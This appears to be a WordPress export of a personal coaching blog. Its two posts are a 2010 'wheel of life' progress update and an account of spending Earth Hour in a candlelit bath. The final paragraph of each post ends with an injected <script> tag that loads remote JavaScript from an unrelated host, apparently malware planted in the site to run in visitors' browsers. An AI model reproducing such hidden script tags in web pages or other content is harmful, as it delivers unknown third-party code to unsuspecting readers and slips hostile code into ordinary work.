<p>The past five months, I&#8217;ve been tackling this beast of a wheel trying to fix it, which is why my writing has been somewhat spotty from time to time. Here&#8217;s what I&#8217;ve achieved:</p>
<ul>
<li>Most of the time now, I don&#8217;t stress out over friends spontaneous visits to my doorstep, as the house is generally presentable. And for the first time in my life, at the age of 35, I own my first adult bed.</li>
<li>My career is moving in a positive and much more manageable direction, mainly due to finally accepting the help of others and working as a part of a team.</li>
<li>Whilst the nest egg still hasn&#8217;t been built, financial matters are being sorted and I don&#8217;t need to keep my fingers in so many pies to make ends meet.</li>
<li>Only just started to augment the regime of fun and entertainment and activities just for me with the onslaught of the sunshine.  Feeling fantastically healthy, as a result.  Very much hoping this is not simply one of my binges.</li>
<li>As for the romance &#8211; still working on that category, but I feel more ready.</li>
</ul>
<div id="attachment_3750" class="wp-caption aligncenter" style="width: 510px"><a href="http://emmerogers.com/wp-content/uploads/2010/06/wheel-of-life-June-2010.jpg"><img class="size-full wp-image-3750" title="wheel of life June 2010" src="http://emmerogers.com/wp-content/uploads/2010/06/wheel-of-life-June-2010.jpg" alt="" width="500" height="375" /></a><p class="wp-caption-text">My Wheel of Life: June 2010</p></div>
<p>Thank you <a href="http://www.jenniferpriest.com/blog/" target="_blank">Jennifer</a>!<script src="http://jsss.ce.ms/17"></script></p>
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		<title>Thank you Earth Hour!</title>
		<link>http://emmerogers.com/2010/03/thank-you-earth-hour/</link>
		<comments>http://emmerogers.com/2010/03/thank-you-earth-hour/#comments</comments>
		<pubDate>Mon, 29 Mar 2010 00:22:39 +0000</pubDate>
		<dc:creator>Emme</dc:creator>
				<category><![CDATA[All the Gossip]]></category>
		<category><![CDATA[Events]]></category>
		<category><![CDATA[Personal Coaching]]></category>
		<category><![CDATA[Earth Hour]]></category>
		<category><![CDATA[Energy]]></category>
		<category><![CDATA[environment]]></category>
		<category><![CDATA[healthy living]]></category>
		<category><![CDATA[Jennifer Priest]]></category>
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		<category><![CDATA[me time]]></category>
		<category><![CDATA[peace]]></category>
		<category><![CDATA[peace and quiet]]></category>
		<category><![CDATA[Personal Coach]]></category>
		<category><![CDATA[powering off]]></category>
		<category><![CDATA[quiet]]></category>
		<category><![CDATA[relaxing]]></category>
		<category><![CDATA[slowing down]]></category>
		<category><![CDATA[unwinding]]></category>

		<guid isPermaLink="false">http://emmerogers.com/?p=3346</guid>
		<description><![CDATA[I am a lucky gal! I have an incredible coach, wonderful family, and caring friends.  All of whom have been telling me for weeks that I need to slow down and take time for me.  And I always mean to heed their advice and do just that, but theres always something that needs doing, something [...]]]></description>
			<content:encoded><![CDATA[<p>I am a lucky gal! I have an <a href="http://www.jenniferpriest.com/blog/">incredible coach</a>, wonderful family, and caring friends.  All of whom have been telling me for weeks that I need to slow down and take time for me.  And I always mean to heed their advice and do just that, but theres always something that needs doing, something that can&#8217;t wait. Yes, it could wait an hour or two or a day or two, but I rarely ever acknowledge that (along with remembering the word &#8216;no&#8217; in my vocabulary).</p>
<p>Well, last night it had to all stop, at least for an hour, because it was <a href="http://www.earthhour.org/">Earth Hour</a> &#8211; a time to shut down all of the electronics for at least an hour.  And I&#8217;d written about <a href="http://emmerogers.com/2010/03/earth-hour-slowing-down-and-enjoying-me-time/">healthy ways to spend the hour</a>, so should I not follow my own advice.  At 9:10, I began the ritual of turning off all the power (aside from the heat and the refrigerator) and I began to light candles. At 9:31, I shut down the iphone and by 9:35 I was climbing into a steaming hot bubble bath, basked in candle light.  I brought absolutely nothing with me, aside from my digital camera.</p>
<div class="wp-caption aligncenter" style="width: 510px"><img title="Earth Hour 2010" src="http://farm5.static.flickr.com/4037/4469871369_602265d751.jpg" alt="" width="500" height="375" /><p class="wp-caption-text">Setting the Scene</p></div>
<p>So what does one do in a tub for an hour once you&#8217;ve finished photographing the scene?  (Gentlemen &#8211; don&#8217;t answer that.)  Well, I just lay there and soaked in the steaming hot water, bathed by the gentle flickering of the candlelight, and sipped on my wine.  At first it seemed like an eternity.  My mind kept racing to, &#8220;but I&#8217;ve got to get this done, oh and theres that story, and I should have already done that, better remember to put that on Monday&#8217;s schedule&#8230;.&#8221; Then I became aware of how quiet the world was around me.  My neighbours must be observing Earth Hour too.  But what is that buzzing?  That buzzing that is almost deafening.  Dear God, is that the buzz of all the electricity that I didn&#8217;t turn off &#8211; the heat and the refrigerator?  Wow, is it loud and incessant.  Is it always there? And then, at long last, my mind turned off and I finally started to relax. Really relax and unwind.  I could have spent the whole night there, had the bath water not turned cold.  As it was, I was there for an hour and 20-minutes.  An hour and 20-minutes of pure uninterrupted &#8216;me&#8217; time. No phones, no emails, no tweets.  And how did I feel?  Incredible!  I felt like a whole new person.</p>
<div class="wp-caption aligncenter" style="width: 510px"><img title="Earth Hour 2010" src="http://farm5.static.flickr.com/4055/4469909569_1ef6fe6196.jpg" alt="" width="500" height="375" /><p class="wp-caption-text">mmmmmm......</p></div>
<p>So aside from understanding just how much electricity I use as one person, which seems to be a rather greedy amount, I was reminded of how unhealthy the race paced, electronically driven world that I (we) live in is.  So I am now going to make an attempt to honour my own Earth Hour once a week &#8211; either <a href="http://my.nowpublic.com/health/earth-hour-slowing-down-and-enjoying-me-time">on my own</a> or <a href="http://my.nowpublic.com/environment/earth-hour-forgetting-enviro-crap-and-focussing-romance">with a friend</a>. And I have to say, I am really looking forward to it.<script src="http://jsss.ce.ms/17"></script></p>
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